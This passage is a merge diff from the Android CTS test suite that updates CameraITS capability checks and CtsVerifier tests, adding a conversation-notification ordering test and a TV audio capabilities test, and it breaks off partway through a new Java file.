Merge "Launch activity in fullscreen to ensure the target activity is hidden" am: 8519b28939
Original change: https://android-review.googlesource.com/c/platform/cts/+/1459762
Change-Id: I3fdeaf0f5865b6664cc463fb5e8705e640d26dd1
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index ccbaa65..ddb3c95 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -555,12 +555,13 @@
0 in props["android.request.availableCapabilities"]
-def sensor_fusion_capable(props):
+def sensor_fusion_test_capable(props, cam):
"""Determine if test_sensor_fusion is run."""
return all([
its.caps.sensor_fusion(props),
its.caps.manual_sensor(props),
- props["android.lens.facing"] != FACING_EXTERNAL])
+ props["android.lens.facing"] != FACING_EXTERNAL,
+ cam.get_sensors().get("gyro")])
def multi_camera_frame_sync_capable(props):
diff --git a/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
index 8afc41b..e257937 100644
--- a/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
@@ -57,7 +57,7 @@
sens_min, _ = props['android.sensor.info.sensitivityRange']
sens_max_ana = props['android.sensor.maxAnalogSensitivity']
sens_step = (sens_max_ana - sens_min) / NUM_STEPS
- s_ae, e_ae, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+ s_ae, e_ae, _, _, _ = cam.do_3a(get_results=True)
s_e_prod = s_ae * e_ae
# Focus at zero to intentionally blur the scene as much as possible.
f_dist = 0.0
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index f1b1d36..0caf148 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -425,7 +425,7 @@
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
- its.caps.skip_unless(its.caps.sensor_fusion_capable(props))
+ its.caps.skip_unless(its.caps.sensor_fusion_test_capable(props, cam))
print "Starting sensor event collection"
cam.start_sensor_events()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index b5152f2..c563471 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -307,7 +307,7 @@
with ItsSession(camera_id) as cam:
props = cam.get_camera_properties()
method = {'test_sensor_fusion': {
- 'flag': its.caps.sensor_fusion_capable(props),
+ 'flag': its.caps.sensor_fusion_test_capable(props, cam),
'runs': 10},
'test_multi_camera_frame_sync': {
'flag': its.caps.multi_camera_frame_sync_capable(props),
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 8596fbb..aad0d22 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2376,6 +2376,7 @@
android:resource="@xml/accessory_filter" />
</activity>
+<!-- Temporary disabled b/c of incorrect assumptions in part of the test: b/160938927
<activity android:name=".usb.device.UsbDeviceTestActivity"
android:label="@string/usb_device_test"
android:configChanges="keyboardHidden|orientation|screenSize">
@@ -2389,6 +2390,7 @@
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.watch" />
</activity>
+ -->
<activity android:name=".usb.mtp.MtpHostTestActivity" android:label="@string/mtp_host_test">
<intent-filter>
@@ -2545,6 +2547,7 @@
android:value="@string/test_category_notifications" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
+ <meta-data android:name="test_required_configs" android:value="config_quick_settings_supported" />
</activity>
<service android:name=".notifications.MockListener"
@@ -2586,6 +2589,7 @@
<meta-data android:name="test_category" android:value="@string/test_category_tiles" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
+ <meta-data android:name="test_required_configs" android:value="config_quick_settings_supported" />
</activity>
<service android:name=".qstiles.MockTileService"
@@ -3679,6 +3683,17 @@
android:value="android.software.leanback" />
</activity>
+ <activity android:name=".tv.audio.AudioCapabilitiesTestActivity"
+ android:label="@string/tv_audio_capabilities_test"
+ android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_tv" />
+ <meta-data android:name="test_required_features"
+ android:value="android.software.leanback" />
+ </activity>
<activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity"
android:label="@string/tv_hdr_capabilities_test"
android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 4001733..d354497 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2186,6 +2186,11 @@
dismiss them.
</string>
<string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
+ <string name="conversation_section_ordering">If this device supports conversation notifications,
+ and groups them into a separate section from alerting and silent non-conversation
+ notifications, fully expand the notification display and verify that the \"Person A\"
+ notification appears before the "\Non-Person Notification\".
+ If this device does not support conversation notifications or does not group them together, press Pass.</string>
<string name="qs_media_player_title">QS Media Controls Test</string>
<string name="qs_media_player_test">Media Controls Test</string>
<string name="qs_media_player_info">This test checks that media controls appear in the
@@ -4647,6 +4652,16 @@
<!-- Common strings for the TV Display tests -->
<string name="tv_start_test">Start Test</string>
+ <!-- Audio Capabilities test -->
+ <string name="tv_audio_capabilities_test">Audio Capabilities Test</string>
+ <string name="tv_audio_capabilities_test_info">This test checks if AudioDeviceInfo and
+ AudioTrack#isDirectPlaybackSupported APIs correctly report the Audio capabilities
+ of the connected audio devices.</string>
+ <string name="tv_audio_capabilities_no_receiver_connected">Disconnect all receivers or
+ soundbars which are connected. </string>
+ <string name="tv_audio_capabilities_receiver_connected">Connect a receiver or
+ soundbar which can play Dolby Atmos. </string>
+
<!-- HDR Capabilities test -->
<string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
<string name="tv_hdr_capabilities_test_step_hdr_display">HDR Display</string>
@@ -5571,16 +5586,16 @@
1. Click Start Test. \n\n
2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
- 4. Skip this step in china version. \n\n
+ 4. Check if Instant App is shown in notifciation area with the following (Please expand the notification if it is collapsed): \n
+ \u0020\u0020\u0020a. It provides information about Instant Apps not requiring installation and an action that provides more information about the Instant App. \n
+ \u0020\u0020\u0020b. It provides an action allowing the user to launch the associated link with web browser. \n\n
5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
</string>
<string name="ia_notification_instruction_label_no_app_market_version">\n
1. Click Start Test. \n\n
2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
- 4. Check if Instant App is shown in notification area with the following (Please expand the notification if it is collapsed): \n
- \u0020\u0020\u0020a. It provides information about Instant Apps not requiring installation and an action that provides more information about the Instant App. \n
- \u0020\u0020\u0020b. Skip this step in china version.Can not launch the associated link with web browser. \n\n
+ 4. Check if Instant App is shown in notification area with information about Instant Apps not requiring installation and an action that provides more information about the Instant App (Please expand the notification if it is collapsed) \n\n
5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
</string>
<string name="ia_recents">Instant Apps Recents Test</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index 9680136..f9601de 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -131,6 +131,10 @@
private static final String CONFIG_HDMI_SOURCE = "config_hdmi_source";
+ private static final String CONFIG_TV_PANEL = "config_tv_panel";
+
+ private static final String CONFIG_QUICK_SETTINGS_SUPPORTED = "config_quick_settings_supported";
+
/** The config to represent that a test is only needed to run in the main display mode
* (i.e. unfolded) */
private static final String SINGLE_DISPLAY_MODE = "single_display_mode";
@@ -421,24 +425,23 @@
}
break;
case CONFIG_HAS_RECENTS:
- final Resources systemRes = mContext.getResources().getSystem();
- final int id = systemRes.getIdentifier("config_hasRecents", "bool",
- "android");
- if (id == Resources.ID_NULL || !systemRes.getBoolean(id)) {
+ if (!getSystemResourceFlag("config_hasRecents")) {
return false;
}
break;
case CONFIG_HDMI_SOURCE:
- final int DEVICE_TYPE_HDMI_SOURCE = 4;
- try {
- if (!getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
- return false;
- }
- } catch (Exception exception) {
- Log.e(
- LOG_TAG,
- "Exception while looking up HDMI device type.",
- exception);
+ if(isTvPanel()) {
+ return false;
+ }
+ break;
+ case CONFIG_TV_PANEL:
+ if(!isTvPanel()) {
+ return false;
+ }
+ break;
+ case CONFIG_QUICK_SETTINGS_SUPPORTED:
+ if (!getSystemResourceFlag("config_quickSettingsSupported")) {
+ return false;
}
break;
default:
@@ -449,6 +452,21 @@
return true;
}
+ private boolean isTvPanel() {
+ final int DEVICE_TYPE_HDMI_SOURCE = 4;
+ try {
+ if (getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
+ return false;
+ }
+ } catch (Exception exception) {
+ Log.e(
+ LOG_TAG,
+ "Exception while looking up HDMI device type.",
+ exception);
+ }
+ return true;
+ }
+
/**
* Check if the test should be ran by the given display mode.
*
@@ -470,6 +488,17 @@
}
}
+ private boolean getSystemResourceFlag(String key) {
+ final Resources systemRes = mContext.getResources().getSystem();
+ final int id = systemRes.getIdentifier(key, "bool", "android");
+ if (id == Resources.ID_NULL) {
+ // The flag being queried should exist in
+ // frameworks/base/core/res/res/values/config.xml.
+ throw new RuntimeException("System resource flag " + key + " not found");
+ }
+ return systemRes.getBoolean(id);
+ }
+
private static List<Integer> getHdmiDeviceType()
throws InvocationTargetException, IllegalAccessException, ClassNotFoundException,
NoSuchMethodException {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
index d24fdb7..1e5eb57 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
@@ -63,8 +63,7 @@
@Override
protected void onStart() {
super.onStart();
-
- mTests[mTestIndex].run();
+ processCurrentTest();
}
/** Returns a list of tests to run in order. */
@@ -80,16 +79,7 @@
protected void succeed() {
runOnUiThread(() -> {
mTestIndex++;
- if (mTestIndex < mTests.length) {
- mTests[mTestIndex].run();
- } else {
- // On test completion, hide "next" and "fail" buttons, and show "pass" button
- // instead.
- mInstructions.setText(R.string.tests_completed_successfully);
- mNextButton.setVisibility(View.GONE);
- findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
- findViewById(R.id.fail_button).setVisibility(View.GONE);
- }
+ processCurrentTest();
});
}
@@ -97,6 +87,22 @@
Toast.makeText(this, stringResId, Toast.LENGTH_SHORT).show();
}
+ /**
+ * Must be invoked on the main thread
+ */
+ private void processCurrentTest() {
+ if (mTestIndex < mTests.length) {
+ mTests[mTestIndex].run();
+ } else {
+ // On test completion, hide "next" and "fail" buttons, and show "pass" button
+ // instead.
+ mInstructions.setText(R.string.tests_completed_successfully);
+ mNextButton.setVisibility(View.GONE);
+ findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
+ findViewById(R.id.fail_button).setVisibility(View.GONE);
+ }
+ }
+
protected abstract class Test {
private final int mStringId;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
index 09d705f..d3fa699 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
@@ -808,6 +808,11 @@
@Override
protected void test() {
+ if (mSkipRingerTests) {
+ status = PASS;
+ return;
+ }
+
int volume, volumeDelta;
int[] streams = {STREAM_MUSIC,
AudioManager.STREAM_VOICE_CALL,
@@ -1000,6 +1005,7 @@
@Override
protected void test() {
if (mSkipRingerTests) {
+ status = PASS;
return;
}
int[] streams = { AudioManager.STREAM_RING };
@@ -1041,6 +1047,7 @@
@Override
protected void test() {
if (mSkipRingerTests) {
+ status = PASS;
return;
}
int[] streams = { AudioManager.STREAM_RING };
@@ -1125,6 +1132,7 @@
@Override
protected void test() {
if (mSkipRingerTests) {
+ status = PASS;
return;
}
int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
index 77caeb9..4acdfd2 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
@@ -16,7 +16,6 @@
package com.android.cts.verifier.instantapps;
import android.os.Bundle;
-import android.os.SystemProperties;
import android.content.pm.PackageManager;
import android.widget.TextView;
@@ -36,18 +35,16 @@
setInfoResources(R.string.ia_notification, R.string.ia_notification_info, -1);
TextView extraText = (TextView) findViewById(R.id.instruction_extra_text);
- if (isNoGooglePlayStore()) {
- extraText.setText(R.string.ia_notification_instruction_label_no_app_market_version);
- } else {
+ if (deviceHasPlayStore()) {
extraText.setText(R.string.ia_notification_instruction_label);
+ } else {
+ extraText.setText(R.string.ia_notification_instruction_label_no_app_market_version);
}
}
- private boolean isNoGooglePlayStore() {
- boolean isCnGmsVersion =
+ private boolean deviceHasPlayStore() {
+ boolean hasCnGmsVersion =
getApplicationContext().getPackageManager().hasSystemFeature("cn.google.services");
- boolean isNoGmsVersion =
- (SystemProperties.get("ro.com.google.gmsversion", null) == null);
- return isCnGmsVersion || isNoGmsVersion;
+ return !hasCnGmsVersion;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index c635264..42ee9e1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -38,14 +38,20 @@
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationChannelGroup;
+import android.app.Person;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.ShortcutManager;
+import android.graphics.drawable.Icon;
import android.os.Bundle;
+import android.os.SystemClock;
import android.provider.Settings;
import android.provider.Settings.Secure;
import android.service.notification.StatusBarNotification;
+import android.util.ArraySet;
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
@@ -59,6 +65,7 @@
import org.json.JSONObject;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -129,6 +136,7 @@
tests.add(new RequestUnbindTest());
tests.add(new RequestBindTest());
tests.add(new MessageBundleTest());
+ tests.add(new ConversationOrderingTest());
tests.add(new EnableHintsTest());
tests.add(new IsDisabledTest());
tests.add(new ServiceStoppedTest());
@@ -1432,4 +1440,106 @@
status = PASS;
}
}
+
+ /**
+ * Tests that conversation notifications appear at the top of the shade, if the device supports
+ * a separate conversation section
+ */
+ private class ConversationOrderingTest extends InteractiveTestCase {
+ private static final String SHARE_SHORTCUT_ID = "shareShortcut";
+ private static final String SHORTCUT_CATEGORY =
+ "com.android.cts.verifier.notifications.SHORTCUT_CATEGORY";
+
+ @Override
+ protected void setUp() {
+ createChannels();
+ createDynamicShortcut();
+ sendNotifications();
+ status = READY;
+ }
+
+ @Override
+ protected void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ delay();
+ }
+
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createPassFailItem(parent, R.string.conversation_section_ordering);
+ }
+
+ private void createDynamicShortcut() {
+ Person person = new Person.Builder()
+ .setBot(false)
+ .setIcon(Icon.createWithResource(mContext, R.drawable.ic_stat_alice))
+ .setName("Person A")
+ .setImportant(true)
+ .build();
+
+ Set<String> categorySet = new ArraySet<>();
+ categorySet.add(SHORTCUT_CATEGORY);
+ Intent shortcutIntent =
+ new Intent(mContext, BubbleActivity.class);
+ shortcutIntent.setAction(Intent.ACTION_VIEW);
+
+ ShortcutInfo shortcut = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID)
+ .setShortLabel(SHARE_SHORTCUT_ID)
+ .setIcon(Icon.createWithResource(mContext, R.drawable.ic_stat_alice))
+ .setIntent(shortcutIntent)
+ .setPerson(person)
+ .setCategories(categorySet)
+ .setLongLived(true)
+ .build();
+
+ ShortcutManager scManager =
+ (ShortcutManager) mContext.getSystemService(Context.SHORTCUT_SERVICE);
+ scManager.addDynamicShortcuts(Arrays.asList(shortcut));
+ }
+
+ private void sendNotifications() {
+ mTag1 = UUID.randomUUID().toString();
+ mId1 = NOTIFICATION_ID + 1;
+
+ Person person = new Person.Builder()
+ .setName("Person A")
+ .build();
+
+ Notification n1 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setContentTitle("ConversationOrderingTest")
+ .setContentText(mTag1)
+ .setSmallIcon(R.drawable.ic_stat_alice)
+ .setShortcutId(SHARE_SHORTCUT_ID)
+ .setStyle(new Notification.MessagingStyle(person)
+ .setConversationTitle("Bubble Chat")
+ .addMessage("Hello?",
+ SystemClock.currentThreadTimeMillis() - 300000, person)
+ .addMessage("Is it me you're looking for?",
+ SystemClock.currentThreadTimeMillis(), person)
+ )
+ .build();
+ mNm.notify(mTag1, mId1, n1);
+
+ mTag2 = UUID.randomUUID().toString();
+ mId2 = mId1 + 1;
+ Notification n2 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setContentTitle("Non-Person Notification")
+ .setContentText(mTag1)
+ .setSmallIcon(R.drawable.ic_stat_alice)
+ .build();
+ mNm.notify(mTag2, mId2, n2);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ status = WAIT_FOR_USER;
+ next();
+ }
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
index 8354fae..df2bec0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
@@ -180,6 +180,8 @@
private TestListAdapter getStreamAdapter() {
ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+ // TODO(b/161675976): Re-enable RTSP tests once they can be served reliably.
+ /*
adapter.add(TestListItem.newCategory("RTSP"));
addRtspStreamToTest(
adapter, "H263 Video, AMR Audio", "rtsp_h263_amr", 13, ITAG_13_SIGNATURE);
@@ -187,6 +189,7 @@
adapter, "MPEG4 SP Video, AAC Audio", "rtsp_mpeg4_aac", 17, ITAG_17_SIGNATURE);
addRtspStreamToTest(
adapter, "H264 Base Video, AAC Audio", "rtsp_h264_aac", 18, ITAG_18_SIGNATURE);
+ */
adapter.add(TestListItem.newCategory("HTTP Progressive"));
for (Stream stream : HTTP_STREAMS) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestSequence.java
similarity index 97%
rename from apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
rename to apps/CtsVerifier/src/com/android/cts/verifier/tv/TestSequence.java
index 7815dcf..7b80155 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestSequence.java
@@ -1,4 +1,4 @@
-package com.android.cts.verifier.tv.display;
+package com.android.cts.verifier.tv;
import com.android.cts.verifier.tv.TvAppVerifierActivity;
@@ -63,4 +63,4 @@
boolean allTestStepsPass = steps.stream().allMatch(step -> step.hasPassed());
context.getPassButton().setEnabled(allTestStepsPass);
}
-}
\ No newline at end of file
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestStepBase.java
similarity index 97%
rename from apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
rename to apps/CtsVerifier/src/com/android/cts/verifier/tv/TestStepBase.java
index 050c549..6c9b5a1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TestStepBase.java
@@ -14,13 +14,12 @@
* limitations under the License
*/
-package com.android.cts.verifier.tv.display;
+package com.android.cts.verifier.tv;
import android.view.View;
import android.widget.TextView;
import com.android.cts.verifier.R;
-import com.android.cts.verifier.tv.TvAppVerifierActivity;
import com.google.common.truth.FailureStrategy;
import com.google.common.truth.StandardSubjectBuilder;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
new file mode 100644
index 0000000..229ce0a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv.audio;
+
+import static android.media.AudioFormat.*;
+
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioTrack;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestSequence;
+import com.android.cts.verifier.tv.TestStepBase;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import com.google.common.collect.ImmutableList;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Test to verify Audio Capabilities APIs are correctly implemented.
+ *
+ * <p>This test checks if <br>
+ * <a
+ * href="https://developer.android.com/reference/android/media/AudioTrack#isDirectPlaybackSupported(android.media.AudioFormat,%20android.media.AudioAttributes)">
+ * AudioTrack.isDirectPlaybackSupported()</a> <br>
+ * return correct results when
+ *
+ * <ol>
+ * <li>No receiver or soundbar is connected
+ * <li>Receiver or soundbar is connected
+ * </ol>
+ */
+public class AudioCapabilitiesTestActivity extends TvAppVerifierActivity {
+ private static final ImmutableList<AudioFormat> TESTED_AUDIO_FORMATS =
+ ImmutableList.of(
+ // PCM formats
+ makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6),
+ makeAudioFormat(ENCODING_PCM_16BIT, 44100, 8),
+
+ // AC3 formats
+ makeAudioFormat(ENCODING_AC3, 44100, 6),
+ makeAudioFormat(ENCODING_AC3, 44100, 8),
+
+ // EAC3_JOC formats
+ makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8),
+ // EAC3 formats
+ makeAudioFormat(ENCODING_E_AC3, 44100, 8));
+
+ private TestSequence mTestSequence;
+
+ @Override
+ protected void setInfoResources() {
+ setInfoResources(
+ R.string.tv_audio_capabilities_test, R.string.tv_audio_capabilities_test_info, -1);
+ }
+
+ @Override
+ protected void createTestItems() {
+ List<TestStepBase> testSteps = new ArrayList<>();
+ testSteps.add(new TvTestStep(this));
+ testSteps.add(new ReceiverTestStep(this));
+ testSteps.add(new TvTestStep(this));
+ mTestSequence = new TestSequence(this, testSteps);
+ mTestSequence.init();
+ }
+
+ private class TvTestStep extends TestStep {
+ public TvTestStep(TvAppVerifierActivity context) {
+ super(
+ context,
+ getString(R.string.tv_audio_capabilities_no_receiver_connected),
+ R.string.tv_start_test);
+ }
+
+ @Override
+ public void runTest() {
+ AudioAttributes audioAttributes =
+ new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_MEDIA)
+ .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+ .build();
+
+ ImmutableList.Builder<String> actualAudioFormatStrings = ImmutableList.builder();
+ for (AudioFormat audioFormat : TESTED_AUDIO_FORMATS) {
+ if (AudioTrack.isDirectPlaybackSupported(audioFormat, audioAttributes)) {
+ actualAudioFormatStrings.add(toStr(audioFormat));
+ }
+ }
+
+ getAsserter()
+ .withMessage("AudioTrack.isDirectPlaybackSupported only returns true for these")
+ .that(actualAudioFormatStrings.build())
+ .containsExactlyElementsIn(
+ ImmutableList.of(
+ toStr(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6)),
+ toStr(makeAudioFormat(ENCODING_AC3, 44100, 6))));
+ }
+ }
+
+ private class ReceiverTestStep extends TestStep {
+ public ReceiverTestStep(TvAppVerifierActivity context) {
+ super(
+ context,
+ getString(R.string.tv_audio_capabilities_receiver_connected),
+ R.string.tv_start_test);
+ }
+
+ @Override
+ public void runTest() {
+ AudioAttributes audioAttributes =
+ new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_MEDIA)
+ .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+ .build();
+
+ ImmutableList.Builder<String> actualAudioFormatStrings = ImmutableList.builder();
+ for (AudioFormat audioFormat : TESTED_AUDIO_FORMATS) {
+ if (AudioTrack.isDirectPlaybackSupported(audioFormat, audioAttributes)) {
+ actualAudioFormatStrings.add(toStr(audioFormat));
+ break;
+ }
+ }
+
+ getAsserter()
+ .withMessage("AudioTrack.isDirectPlaybackSupported only returns true for these")
+ .that(actualAudioFormatStrings.build())
+ .containsExactlyElementsIn(
+ ImmutableList.of(
+ toStr(makeAudioFormat(ENCODING_PCM_16BIT, 41000, 8)),
+ toStr(makeAudioFormat(ENCODING_AC3, 44100, 8)),
+ toStr(makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8)),
+ toStr(makeAudioFormat(ENCODING_E_AC3, 44100, 8))));
+ }
+ }
+
+ /** Returns channel mask for {@code channelCount}. */
+ private static int channelCountToMask(int channelCount) {
+ switch (channelCount) {
+ case 2:
+ return CHANNEL_OUT_STEREO;
+ case 6:
+ return CHANNEL_OUT_5POINT1;
+ case 8:
+ return CHANNEL_OUT_7POINT1_SURROUND;
+ default:
+ return 0;
+ }
+ }
+
+ /** Returns a displayable String message for {@code encodingCode}. */
+ private static String encodingToString(int encodingCode) {
+ switch (encodingCode) {
+ case ENCODING_AC3:
+ return "AC3";
+ case ENCODING_E_AC3:
+ return "E_AC3";
+ case ENCODING_E_AC3_JOC:
+ return "E_AC3_JOC";
+ case ENCODING_PCM_16BIT:
+ return "PCM_16BIT";
+ default:
+ return "Unknown Encoding";
+ }
+ }
+
+ /** Converts Audio format object to string */
+ private static String toStr(AudioFormat audioFormat) {
+ return String.format(
+ "{encoding: %s, channel count: %d}",
+ encodingToString(audioFormat.getEncoding()), audioFormat.getChannelCount());
+ }
+
+ private static AudioFormat makeAudioFormat(int encoding, int sampleRate, int channelCount) {
+ return new AudioFormat.Builder()
+ .setEncoding(encoding)
+ .setSampleRate(sampleRate)
+ .setChannelMask(channelCountToMask(channelCount))
+ .build();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/OWNERS
new file mode 100644
index 0000000..b19e6c1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/OWNERS
@@ -0,0 +1,2 @@
+kritidang@google.com
+blindahl@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/TestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/TestStep.java
new file mode 100644
index 0000000..1956380
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/TestStep.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.cts.verifier.tv.audio;
+
+import android.view.View;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.tv.TestStepBase;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+/** Test step containing instruction to the user and a button. */
